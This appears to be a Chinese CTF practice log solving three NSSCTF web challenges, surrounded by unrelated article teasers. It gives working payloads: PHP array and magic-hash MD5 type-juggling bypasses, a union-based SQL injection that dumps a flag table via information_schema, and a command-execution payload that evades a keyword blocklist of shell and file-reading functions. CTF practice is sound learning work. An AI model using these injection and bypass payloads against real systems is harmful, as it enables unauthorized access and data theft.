news 2026/10/30 2:46:00

2026.10.28-NSSCTF刷题记录

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
2026.10.28-NSSCTF刷题记录

NSSCTF

[NSSCTF 2022 Spring Recruit]babyphp

<?php highlight_file(__FILE__); include_once('flag.php'); //将flag.php这个文件在这段代码中插入一次 if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){ //检查是否POST方式传参a,不能是整数0-9,但是intval取的又是整数 if(isset($_POST['b1'])&&$_POST['b2']){ //检测是否通过POST方式传参b1和b2 if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){ //检查b1和b2是否不相等,md5加密后的b1和b2必须强相等 if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){ //检查c1和c2是不是字符串且不相等,md5加密后的相等 echo $flag; }else{ echo "yee"; } }else{ echo "nop"; } }else{ echo "go on"; } }else{ echo "let's get some php"; } ?> let's get some php

include_once('flag.php')会把flag.php的代码在当前作用域中执行一次。执行之后,文件里定义的变量、函数、类等,自然就在当前作用域里生效了。

总共就三个条件

1、检查是否POST方式传参a,不能是整数0-9,但是intval取的又是整数

2、检查b1和b2是否不相等,md5加密后的b1和b2必须强相等

3、检查c1和c2是不是字符串且不相等,md5加密后的相等

首先是第一层绕过:

if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
payload为:a[]=1 isset()返回的是布尔值,检查是否传参
!preg_match() //如果匹配到数字,则返回true preg_match 的第二个参数要求是字符串。我们通过a[]=1传进去的是数组,PHP 7 及以下会: 发出警告:preg_match() expects parameter 2 to be string, array given 返回 false(表示执行失败,不是“没匹配到”) !preg_match(...) → !false → true
intval 面对数组的规则: 输入 返回值 intval([])(空数组) 0 intval(['1'])(非空数组) 1 intval([1,2,3]) 1 任何非空数组,intval 都返回 1。所以: intval(['1']) → 1 → if 里为真

第二层绕过

if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){

要求两者不相等,但是类型和值必须相等——在PHP7版本以下,通过数组绕过

原理为:

在PHP版本7以下,md5()在接收到数组之后不会进行比较,而是直接返回结果null,所以在比较的过程中,两者结果全是null,自然值和类型全部相等

payload为: b1[]=2&b2=12

第三层

if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){

第三层要求上传的是字符串,且md5加密之后要求相等,因PHP规则,会将某些字符串加密后的MD5值当作数字0进行处理,后导致弱等于成立,例如:

QNKCDZO → 0e830400451993494058024219903391

240610708 → 0e462097431906509019562988736854

aabg7XSs → 0e087386482136013740957780965295

PHP 不是“看错了”或“误认”成科学计数法。==弱比较的规则是明确设计的:

两个字符串用==比较时,如果两边都符合数字格式,就把它们转成数字再比。

"0e830400..."确实符合 PHP 的数字字符串格式(科学计数法),所以 PHP 按规则把它转成数字0。这不是 bug,也不是识别错误,是弱比较的正常行为。

"123" → 数字 123 "1.5" → 数字 1.5 "1e3" → 数字 1000 "0e123" → 数字 0 ← 0 乘以 10 的 123 次方 "0e999999" → 数字 0

最终paylod

a[]=1&b1[]=2&b2[]=12&c1=QLTHNDT&c2=QNKCDZO

[LitCTF 2023]这是什么?SQL !注一下 !

<?php $sql = "SELECT username,password FROM users WHERE id = ".'(((((('.$_GET["id"].'))))))'; $result = $conn->query($sql);

使用的是PHP中的拼接符号,闭合中并不存在引号的情况

给出了后端语句,知道了闭合方式为6个括号,查看元数据库

-1)))))) union select 1,schema_name from information_schema.schemata%23

一个库一个库找之后发现是 ctftraining 库

查看flag表中的列名,发现有一个列名为flag

?id=-1)))))) union select 1,column_name from information_schema.columns where table_schema="ctftraining" and table_name="flag"%23

拿到flag

?id=-1)))))) union select 1,flag from ctftraining.flag%23

[UUCTF 2022 新生赛]ez_rce

居然都不输入参数,可恶!!!!!!!!! <?php ## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢???????????? if(isset($_GET['code'])){ $code=$_GET['code']; if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){ echo '看看你输入的参数!!!不叫样子!!';echo '<br>'; eval($code); } else{ die("你想干什么?????????"); } } else{ echo "居然都不输入参数,可恶!!!!!!!!!"; show_source(__FILE__); }

代码逻辑是通过get传参,如果没有正则匹配到这其中过滤的函数,则执行$code变量中传参的命令

print_r()将命令执行后的结果打印出来

?code=print_r(`ta\c /fffffffffflagafag`);

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/30 2:44:51

红黑树详解:概念、规则与插入实现

文章目录红黑树概念储存规则效率插入逻辑一共三种情况情况一&#xff1a;只变色二&#xff1a;单旋变色三&#xff1a;双旋变色尝试实现红黑树 概念 也是以二叉搜索树为基础的&#xff0c;每个节点单位以​pair储存 他的每个结点增加一个存储位来表示结点的颜色&#xff0c;…

作者头像 李华
网站建设 2026/10/30 2:44:06

观察者 Observers:无线访问模型数据的补充观测手段

1. 概念讲解1.1 观察者要解决的问题在真实项目中&#xff0c;模型一旦冻结用于仿真验证&#xff0c;我们往往希望在不改动系统设计本身的前提下&#xff0c;监控某些内部信号、检查系统是否运行在规定范围内。传统做法是在被测模型上引出 To Workspace 端口、挂 Scope&#xff…

作者头像 李华
网站建设 2026/10/30 2:43:06

人工智能中的数学之美---从向量角度理解深度学习中的感知机

以下节选至《人工智能中的数学之美》对应的英文版本为&#xff1a;Foundations of Machine Learning,second edition (Mehryar Mohri,Afshin Rostamizadehetc.)&#xff0c;这本书中也有类似的阐述说明。点积结果等于向量b的x分量&#xff0c;即向量b在沿单位向量方向上的投影。…

作者头像 李华
网站建设 2026/10/30 2:42:31

超越大模型参数:2026年企业智能语音外呼系统选型与工程化避坑指南

本文摘要&#xff1a;大模型外呼在实际落地中&#xff0c;绝不是简单调用一个大语言模型API。对金融机构、大型政企及高频服务型企业而言&#xff0c;外呼选型必须回归底层工程能力。本文深入解析大模型外呼的底层技术边界&#xff0c;并对主流代表性方案进行横向剖析。本文目录…

作者头像 李华
网站建设 2026/10/30 2:42:08

Linux嵌入式学习——线程与线程控制

一、线程的概念线程是轻量级的进程&#xff0c;线程属于某个进程。一个进程可以有多个线程。1. 进程与线程相同点相同点说明都能实现并发进程和线程都是并发执行的单位&#xff0c;可同时推进多个任务都是系统调度/管理的对象都由内核创建、调度、销毁&#xff0c;都有生命周期…

作者头像 李华
网站建设 2026/10/30 2:42:08

【皓月当空】黄金多空对冲·超级刷单版

本EA采用多空双向挂单对冲思路&#xff0c;自带加仓网格机制、总亏损强平、手数上限与跟踪止损功能&#xff0c;适合震荡行情下自动化刷单交易。 策略特点&#xff1a; ✔ 多空双向挂单&#xff0c;震荡行情双向捕捉机会&#xff1b; ✔ 网格加仓机制&#xff0c;固定间距加仓&…

作者头像 李华